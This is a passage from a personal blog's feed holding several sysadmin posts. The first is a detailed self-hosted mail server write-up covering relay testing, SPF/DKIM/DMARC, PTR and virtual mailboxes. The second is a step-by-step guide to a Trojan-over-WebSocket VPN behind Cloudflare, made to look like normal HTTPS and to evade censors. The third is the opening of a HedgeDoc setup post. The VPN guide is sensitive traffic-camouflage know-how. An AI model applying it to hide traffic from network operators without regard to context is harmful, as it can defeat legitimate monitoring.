<h2 id="what-an-open-relay-is-and-why-localhost-lies-to-you">What an “open relay” is, and why localhost lies to you</h2>
|
||||
<p>An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.</p>
|
||||
<p>Here’s the trick that wastes afternoons: testing from <code>127.0.0.1</code>.</p>
|
||||
<p>Postfix treats localhost as friendly. Cron jobs, monitoring, local <code>sendmail</code> calls — they need to inject mail without performing a full human login. That friendliness is encoded in <code>mynetworks</code>. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.</p>
|
||||
<p>So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from <code>evil@example.com</code> to <code>someone@example.com</code>, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of <code>454 Relay access denied</code>. A cheerful <code>250</code> on that recipient line is how you wake up as someone else’s cannon.</p>
|
||||
<p>Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”</p>
|
||||
<hr>
|
||||
<h2 id="dns-but-make-it-human">DNS, but make it human</h2>
|
||||
<h3 id="the-forward-map-name--number">The forward map (name → number)</h3>
|
||||
<p>You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an <strong>MX</strong> record, which is simply a polite note: “if you’re delivering mail for this domain, knock on <em>that</em> hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.</p>
|
||||
<p>I put <code>mail.alipourimjourneys.ir</code> on funbox for both v4 and v6, pointed MX at that name, and added <code>webmail</code> and <code>mailadmin</code> the same way.</p>
|
||||
<h3 id="why-cloudflares-orange-cloud-is-not-invited">Why Cloudflare’s orange cloud is not invited</h3>
|
||||
<p>Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.</p>
|
||||
<p>Mail hostnames stay <strong>DNS-only</strong> — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.</p>
|
||||
<hr>
|
||||
<h2 id="ptr-records-the-phonebook-in-reverse">PTR records: the phonebook in reverse</h2>
|
||||
<p>This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.</p>
|
||||
<p>Normal DNS is a phonebook from names to numbers: you look up <code>mail.example.com</code> and learn the IP. <strong>Reverse DNS</strong> is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a <strong>PTR</strong> record.</p>
|
||||
<p>Those reverse records do <em>not</em> live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for <code>alipourimjourneys.ir</code> does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.</p>
|
||||
<p>So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to <code>mail.alipourimjourneys.ir</code>, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.</p>
|
||||
<p>You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.</p>
|
||||
<hr>
|
||||
<h2 id="spf-dkim-and-dmarc-three-different-questions">SPF, DKIM, and DMARC: three different questions</h2>
|
||||
<p>People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.</p>
|
||||
<p><strong>SPF</strong> answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then <code>-all</code>, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer <code>~all</code> exists for a reason. I wasn’t mid-migration. I was building one source of truth.</p>
|
||||
<p><strong>DKIM</strong> answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.</p>
|
||||
<p><strong>DMARC</strong> answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with <code>p=none</code> (watch and learn), move to <code>quarantine</code> (bad mail goes to spam), and later <code>reject</code> when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.</p>
|
||||
<p>Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.</p>
|
||||
<p>Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.</p>
|
||||
<hr>
|
||||
<h2 id="building-the-unglamorous-core">Building the unglamorous core</h2>
|
||||
<p>On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for <code>mail.alipourimjourneys.ir</code>, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.</p>
|
||||
<p>Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under <code>/var/spool/postfix</code>, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the <code>postfix</code> user connect.</p>
|
||||
<p>I briefly had two <code>Socket</code> lines in <code>opendkim.conf</code>. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: <code>DKIM-Signature field added</code>. Instant serotonin.</p>
|
||||
<p>When <code>opendkim-testkey</code> says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.</p>
|
||||
<hr>
|
||||
<h2 id="the-matrix-certificate-heist-that-wasnt-a-heist">The Matrix certificate heist (that wasn’t a heist)</h2>
|
||||
<p>Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting <code>mail.…</code> and found <strong><code>matrix.alipourimjourneys.ir</code></strong> smiling back.</p>
|
||||
<p>No attacker. No cosmic joke from Let’s Encrypt. Just nginx.</p>
|
||||
<p>When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no <code>server_name</code> matches, nginx shrugs and uses the <strong>default</strong> server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.</p>
|
||||
<p>Later I repeated a sibling mistake with <code>webmail.</code>: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting <code>https://webmail.…</code> still fell through to the default server and received Matrix’s cert again. Same villain, new episode.</p>
|
||||
<p>The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.</p>
|
||||
<hr>
|
||||
<h2 id="from-linux-users-to-real-mailboxes">From Linux users to real mailboxes</h2>
|
||||
<p>The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.</p>
|
||||
<p>So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under <code>/var/vmail/...</code> owned by a dedicated <code>vmail</code> user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.</p>
|
||||
<p>Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.</p>
|
||||
<p>One setting decides whether this feels cursed or calm: <code>mydestination</code>.</p>
|
||||
<p>That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is <code>mail.alipourimjourneys.ir</code> and you also leave that name in <code>mydestination</code>, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set <code>mydestination</code> to localhost and let the mail domain be virtual. Suddenly the model matched reality.</p>
|
||||
<p>PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”</p>
|
||||
<p>One more client quirk: some apps send only <code>ialipour</code> as the username. The database stores <code>ialipour@mail.…</code>. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or <code>local-part@mail.alipourimjourneys.ir</code> did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.</p>
|
||||
<hr>
|
||||
<h2 id="webmail-without-losing-the-plot">Webmail without losing the plot</h2>
|
||||
<p>Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.</p>
|
||||
<p>I flirted with serving it under a path like <code>/webmail</code> on the main mail hostname while also serving it at the root of <code>webmail.…</code>. Roundcube has opinions about its base path. If you tell it “you live under <code>/webmail</code>” and then put it at <code>/</code> on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.</p>
|
||||
<p>The calm ending: Roundcube lives at <code>https://webmail.alipourimjourneys.ir/</code> as the site root. The portal links there. Path experiments go in the diary under “character development.”</p>
|
||||
<hr>
|
||||
<h2 id="the-bounce-emails-that-taught-me-about-identity">The bounce emails that taught me about identity</h2>
|
||||
<p>After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail <code>root</code>. My system identity still thought the local domain was <code>mail.alipourimjourneys.ir</code>, so <code>root</code> became <code>root@mail.alipourimjourneys.ir</code>. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.</p>
|
||||
<p>The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased <code>root</code> to my real virtual address so necessary noise still reaches a human. <code>myhostname</code> can still announce itself as <code>mail.…</code> on the SMTP banner. Different knobs, different jobs.</p>
|
||||
<p>Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving <code>vmail</code> ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.</p>
|
||||
<p>And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in <code>/var/log/mail.log</code> so repeated guessing gets a timeout instead of an unlimited hobby.</p>
|
||||
<hr>
|
||||
<h2 id="what-done-means-for-me">What “done” means for me</h2>
|
||||
<p>For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at <code>mail.alipourimjourneys.ir</code>, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.</p>
|
||||
<p>Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”</p>
|
||||
<p>If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.</p>
|
||||
<hr>
|
||||
<h3 id="links">Links</h3>
|
||||
<ul>
|
||||
<li>Portal: <a href="https://mail.alipourimjourneys.ir">mail.alipourimjourneys.ir</a></li>
|
||||
<li>Webmail: <a href="https://webmail.alipourimjourneys.ir">webmail.alipourimjourneys.ir</a></li>
|
||||
<li>Admin: <a href="https://mailadmin.alipourimjourneys.ir">mailadmin.alipourimjourneys.ir</a></li>
|
||||
</ul>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/self_hosting_mail.md">Markdown</a> ·
|
||||
<a href="/sources/posts/self_hosting_mail.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
|
||||
jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
|
||||
TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
|
||||
HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
|
||||
NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
|
||||
4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
|
||||
4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
|
||||
HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
|
||||
O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
|
||||
0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
|
||||
iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
|
||||
VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
|
||||
=KCRU
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
|
||||
gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item><item><title>Stealth Trojan VPN Behind Cloudflare Guide</title><link>https://blog.alipour.eu/posts/vpn/</link><pubDate>Tue, 09 Sep 2025 11:05:00 +0200</pubDate><guid>https://blog.alipour.eu/posts/vpn/</guid><description><h2 id="introduction">Introduction</h2>
|
||||
<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br>
|
||||
Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p>
|
||||
<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p>
|
||||
<p>We’ll anonymise domains and secrets, so substitute with your own:</p></description><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
|
||||
<p>So you want a VPN that <strong>doesn’t scream “I am a VPN”</strong> to every censor and firewall out there?<br>
|
||||
Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p>
|
||||
<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p>
|
||||
<p>We’ll anonymise domains and secrets, so substitute with your own:</p>
|
||||
<ul>
|
||||
<li>VPN domain: <code>web.example.com</code></li>
|
||||
<li>Panel domain: <code>panel.example.com</code></li>
|
||||
<li>Secret WS path: <code>/stealth-path_abcd1234</code></li>
|
||||
<li>Password: <code><PASSWORD></code></li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="architecture-at-a-glance">Architecture at a Glance</h2>
|
||||
<p>Think of it as a disguise party:</p>
|
||||
<ul>
|
||||
<li><strong>Trojan</strong> = the shy guest (your VPN protocol)</li>
|
||||
<li><strong>Nginx</strong> = the bouncer checking IDs (reverse proxy)</li>
|
||||
<li><strong>Cloudflare</strong> = the doorman who makes sure nobody sees who’s inside (CDN & proxy)</li>
|
||||
<li><strong>Your fake website</strong> = the mask (camouflage page)</li>
|
||||
</ul>
|
||||
<p>Traffic flow:</p>
|
||||
<pre tabindex="0"><code>Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
|
||||
</code></pre><hr>
|
||||
<h2 id="step-1-panel-setup-panelexamplecom">Step 1: Panel Setup (<code>panel.example.com</code>)</h2>
|
||||
<ul>
|
||||
<li>Bind the 3x-ui panel to localhost (e.g., <code>127.0.0.1:46309</code>).</li>
|
||||
<li>Choose a funky <strong>web base path</strong> like <code>/panel-bananas_42/</code>.</li>
|
||||
<li>Proxy it through Nginx with HTTPS + Basic Auth.</li>
|
||||
<li>Test it at <code>https://panel.example.com/panel-bananas_42/</code>.</li>
|
||||
</ul>
|
||||
<p><strong>Pro tip:</strong> If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!</p>
|
||||
<hr>
|
||||
<h2 id="step-2-trojan-inbound">Step 2: Trojan Inbound</h2>
|
||||
<p>In 3x-ui, create a Trojan inbound:</p>
|
||||
<ul>
|
||||
<li>Local port: <code>54321</code></li>
|
||||
<li>Transport: WebSocket</li>
|
||||
<li>Path: <code>/stealth-path_abcd1234</code></li>
|
||||
<li>Security: none</li>
|
||||
<li>Password: <code><PASSWORD></code></li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="step-3-nginx-for-vpn-domain-webexamplecom">Step 3: Nginx for VPN Domain (<code>web.example.com</code>)</h2>
|
||||
<p>Your Nginx is the gatekeeper. Sample config:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74">web.example.com</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ssl_certificate</span> <span style="color:#e6db74">/etc/letsencrypt/live/web.example.com/fullchain.pem</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/web.example.com/privkey.pem</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Fake website at root
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">root</span> <span style="color:#e6db74">/var/www/html</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Real VPN under secret WS path
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">location</span> <span style="color:#e6db74">/stealth-path_abcd1234</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:54321</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Upgrade</span> $http_upgrade;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Connection</span> <span style="color:#e6db74">"upgrade"</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="step-4-firewall-rules">Step 4: Firewall Rules</h2>
|
||||
<p>Lock things down! Only Cloudflare should reach you:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ufw allow 22/tcp
|
||||
</span></span><span style="display:flex;"><span>ufw allow 80/tcp
|
||||
</span></span><span style="display:flex;"><span>ufw allow 443/tcp
|
||||
</span></span><span style="display:flex;"><span>ufw deny 54321/tcp
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="step-5-client-config">Step 5: Client Config</h2>
|
||||
<p>Trojan URI:</p>
|
||||
<pre tabindex="0"><code>trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
|
||||
</code></pre><p>iOS clients: Shadowrocket, Stash, FoXray<br>
|
||||
Android clients: v2rayNG, Clash Meta, NekoBox</p>
|
||||
<hr>
|
||||
<h2 id="debugging-time-aka-why-the-heck-doesnt-it-work">Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)</h2>
|
||||
<h3 id="symptom-520-unknown-error-cloudflare">Symptom: <strong>520 Unknown Error (Cloudflare)</strong></h3>
|
||||
<ul>
|
||||
<li>Likely cause: Nginx couldn’t talk to Trojan.</li>
|
||||
<li>Check Nginx error log:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>tail -n <span style="color:#ae81ff">50</span> /var/log/nginx/error.log
|
||||
</span></span></code></pre></div></li>
|
||||
<li>If you see <code>upstream sent no valid HTTP/1.0 header</code> → you’re mixing HTTPS/HTTP between Nginx and Trojan.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h3 id="symptom-526-invalid-ssl-certificate">Symptom: <strong>526 Invalid SSL certificate</strong></h3>
|
||||
<ul>
|
||||
<li>Cloudflare → Nginx cert mismatch.</li>
|
||||
<li>Run:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
|
||||
</span></span></code></pre></div></li>
|
||||
<li>Make sure CN = <code>web.example.com</code>. If not, fix your cert.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h3 id="symptom-blank-page-on-panel">Symptom: <strong>Blank page on panel</strong></h3>
|
||||
<ul>
|
||||
<li>Check if the base path matches exactly (case-sensitive, slash-sensitive).</li>
|
||||
<li>Watch for sneaky trailing spaces!</li>
|
||||
<li>Test locally:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
|
||||
</span></span></code></pre></div></li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h3 id="symptom-client-wont-connect">Symptom: <strong>Client won’t connect</strong></h3>
|
||||
<ul>
|
||||
<li>Run a WebSocket test:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -i -k -H <span style="color:#e6db74">"Connection: Upgrade"</span> -H <span style="color:#e6db74">"Upgrade: websocket"</span> https://web.example.com/stealth-path_abcd1234
|
||||
</span></span></code></pre></div>Expect <code>101 Switching Protocols</code>. If not, check Nginx config.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h3 id="symptom-censor-still-blocks-you">Symptom: <strong>Censor still blocks you</strong></h3>
|
||||
<ul>
|
||||
<li>Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?<br>
|
||||
→ They’ll find your origin IP. Use a second VPS or lock those ports down.</li>
|
||||
<li>Did you use an obvious path like <code>/ws</code>?<br>
|
||||
→ Use a random-looking one like <code>/cdn-assets-329df/</code>.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="pro-tips--fun-tricks">Pro Tips & Fun Tricks</h2>
|
||||
<ul>
|
||||
<li>Serve a fake blog or portfolio at root so your domain looks legit.</li>
|
||||
<li>Rotate WebSocket paths occasionally.</li>
|
||||
<li>Use Cloudflare <strong>Page Rules</strong> to disable Rocket Loader & Minify for your VPN domain.</li>
|
||||
<li>Make friends with your Nginx error.log — it will roast you but it tells the truth.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="conclusion">Conclusion</h2>
|
||||
<p>By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:</p>
|
||||
<ul>
|
||||
<li>Looks like normal HTTPS.</li>
|
||||
<li>Hides your origin IP.</li>
|
||||
<li>Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.</li>
|
||||
</ul>
|
||||
<p>Congrats — you’ve built a VPN with both <strong>style</strong> and <strong>stealth</strong>. 🥷</p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/vpn.md">Markdown</a> ·
|
||||
<a href="/sources/posts/vpn.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
|
||||
jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
|
||||
9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
|
||||
jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
|
||||
S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
|
||||
Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
|
||||
5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
|
||||
QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
|
||||
YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
|
||||
E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
|
||||
d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
|
||||
3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
|
||||
=IovZ
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
|
||||
gpg --verify vpn.md.asc vpn.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item><item><title>Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt</title><link>https://blog.alipour.eu/posts/hedge_doc/</link><pubDate>Fri, 29 Aug 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/hedge_doc/</guid><description><p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p>
|
||||
<hr>
|
||||
